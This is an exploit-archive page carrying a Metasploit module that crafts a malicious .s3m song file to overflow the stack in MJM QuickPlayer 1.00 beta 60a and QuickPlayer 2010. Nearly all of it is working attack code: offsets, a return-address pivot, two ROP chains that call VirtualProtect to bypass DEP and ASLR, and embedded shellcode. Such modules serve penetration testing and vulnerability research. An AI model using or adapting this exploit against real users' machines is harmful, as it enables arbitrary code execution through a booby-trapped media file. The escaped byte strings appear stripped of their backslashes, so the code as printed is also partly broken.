[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MJM QuickPlayer 1.00 beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow
# Published : 2011-04-30
# Author :
# Previous Title : Magix Musik Maker 16 .mmm Stack Buffer Overflow (w/o egg-hunter)
# Next Title : VisiWave VWR File Parsing Trusted Pointer Vulnerability


##
# $Id: mjm_quickplayer_s3m.rb 12474 2011-04-30 02:37:14Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MJM QuickPlayer 1.00 beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in MJM QuickPlayer 1.00 beta 60a
				and QuickPlayer 2010 (Multi-target exploit).  When opening a malicious s3m file in
				one of these 2 applications, a stack buffer overflow can be triggered, resulting in
				arbitrary code execution.

				This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. 
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
						'rick2600',     #found the vulnerabilities
						'corelanc0d3r', #rop exploit + msf module
				],
			'Version'        => '$Revision: 12474 $',
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-003' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 2339,  #about 0x900 bytes
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal Generic DEP & ASLR Bypass',
						{
							'OffSet1' => 819,         #QuickPlayer 2010.exe
							'OffSet2' => 1019,        #qplayer.exe
							'Ret'     => 0x1000156f,  #QuickPlayer 2010.exe : RET,  qplayer.exe ADD AL,5B + POP + RET 4
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 30, 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 's3m file',  'song.s3m']),
			], self.class)
	end

	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def exploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		header  = "x42x42x42x42x42x42x42x42x41x41x41x41x41x41x41x41"
		header << "x00x00x00x00x00x00x00x00x00x00x00x00x1ax10x00x00"
		header << "x24x00x00x01x00x0dx08x00x20x13x02x00x53x43x52x4d"
		header << "x40x06x94xb0x10xfcx00x00x00x00x00x00x00x00x00x00"
		header << "x00x08x01x09x02x0ax03x0bx04x0cxffxffxffxffxffxff"
		header << "xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
		header << "x06x00x03x01x02x04x05x07x08x09x09x0ax0bx0cx0dx0e"
		header << "x0fx10x10x11x12x13x14x15x16x16x17x18x19x18x1ax1b"
		header << "x1bx1cxffxffx13x00x18x00x1dx00x22x00x27x00x2cx00"
		header << "x31x00x36x00x3bx00x40x00x45x00x4ax00x4fx00x54x00"
		header << "x59x00x5ex00x63x00x68x00x6dx00x72x00x77x00x7cx00"
		header << "x81x00x86x00x8bx00x90x00x95x00x9ax00x9fx00xa4x00"
		header << "xa9x00xaex00xb3x00xb8x00xbdx00xc2x00xc7x00xccx00"
		header << "xd1x00xd6x00xdbx00xe0x00x14x01x4dx01x87x01xc0x01"
		header << "x0ex02x5ax02x9ax02xe9x02x40x03x7fx03xc0x03x01x04"
		header << "x28x04x52x04x86x04xb9x04xeax04x1ax05x41x05x6ex05"
		header << "x96x05xbcx05xebx05x25x06x78x06xccx06x21x07x72x07"
		header << "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
		header << "x01"


		footer  = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52"
		footer << "x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26"
		footer << "x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d"
		footer << "x01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0"
		footer << "x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b"
		footer << "x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xff"
		footer << "x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7d"
		footer << "xf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8b" 
		footer << "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44"
		footer << "x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b"
		footer << "x12xebx86x5dx6ax01x8dx85xb9x00x00x00x50x68"
		footer << "x31x8bx6fx87xffxd5xbbxf0xb5xa2x56x68xa6x95" 
		footer << "xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75x05xbb"
		footer << "x47x13x72x6fx6ax00x53xffxd5x63x61x6cx63x00"
		footer << "x00x00x00x00x00x00x00x00"

		print_status("Preparing payload")

		pivot = [target.ret].pack('V')

		rop_gadgets_quickplayer =
		[
			# pvefindaddr rop 'n roll
			0x004c0021,  # POP ECX # RETN
			0x00000000,
			0x0042850e,  # PUSH ESP # ADD EDI,EDI # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
			junk,
			junk,
			junk,
			0x00461248,  #  MOV EAX,EDI # POP EDI # POP ESI # RETN
			junk,
			junk,
			junk,
			junk,
			junk,
			0x004ac31d,  # POP EBX # RETN
			0x00000900,
			0x004a8032,  # POP ESI # RETN
			0x00000080,
			0x10009ea7,  # ADD EAX,ESI # POP ESI # RETN
			junk,
			0x004def0d,  # XCHG EAX,EBP # RETN
			0x004c0145,  # POP EAX # RETN
			0x005da1a0,  # VirtualProtect
			0x00408242,  # MOV EAX,DWORD PTR DS:[EAX] # RETN
			0x0052001a,  # XCHG EAX,ESI # RETN 00
			0x004c0729,  # POP EDX # RETN
			0x00000040,
			0x004c0021,  # POP ECX # RETN
			0x00401000,  # RW
			0x00448142,  # POP EDI # RETN
			0x004ae7ce,  # RET
			0x004c0145,  # POP EAX # RETN
			0x004ae7ce,  # RET
			0x0052158e,  # PUSHAD # RETN 00
		].pack("V*")

		rop_gadgets_qplayer = 
		[
			junk,
			0x00434069,  # POP ECX # RETN  QPlayer.exe
			junk,
			0x00000000,
			0x0047e1db,  # XOR ECX,ESP # RETN  QPlayer.exe
			0x10005dad,  # MOV EAX,ECX # POP EBX # RETN 08  QPlayer.lay
			0x00000900,
			0x0043adfd,  # POP ESI # RETN 04  QPlayer.exe
			junk,
			junk,
			0x00000080,
			0x1000591a,  # ADD EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 0C    QPlayer.lay
			junk,
			junk,
			junk,
			junk,
			0x00434e95,  # XCHG EAX,EBP # RETN  QPlayer.exe
			junk,
			junk,
			junk,
			0x10005054,  # POP EAX # RETN  QPlayer.lay
			0x004bfe64,  # VirtualProtect
			0x10009050,  # MOV EAX,DWORD PTR DS:[EAX] # RETN  QPlayer.lay
			0x004bc675,  # XCHG EAX,ESI # RETN  QPlayer.exe
			0x00417a5d,  # POP EDX # RETN  QPlayer.exe
			0x00000040,
			0x0045feaa,  # POP ECX # RETN  QPlayer.exe
			0x00401000,  # RW
			0x00400ddc,  # POP EDI # RETN  QPlayer.exe
			0x10006067,  # RET  QPlayer.exe
			0x004308f5,  # POP EAX # RETN  QPlayer.exe
			0x10006067,  # RET  QPlayer.exe
			0x004b4676,  # PUSHAD # RETN
		].pack("V*")


		buffer = rand_text(target['OffSet1'])
		buffer << pivot
		buffer << rop_gadgets_quickplayer
		delta = target['OffSet2'] - buffer.length - 5
		buffer << make_nops(delta)
		buffer << "xe9x90x00x00x00"
		buffer << pivot
		buffer << rop_gadgets_qplayer
		buffer << make_nops(100)
		buffer << payload.encoded

		filecontent = header + buffer + footer

		print_status("Writing payload to file")

		file_create(filecontent)

	end

end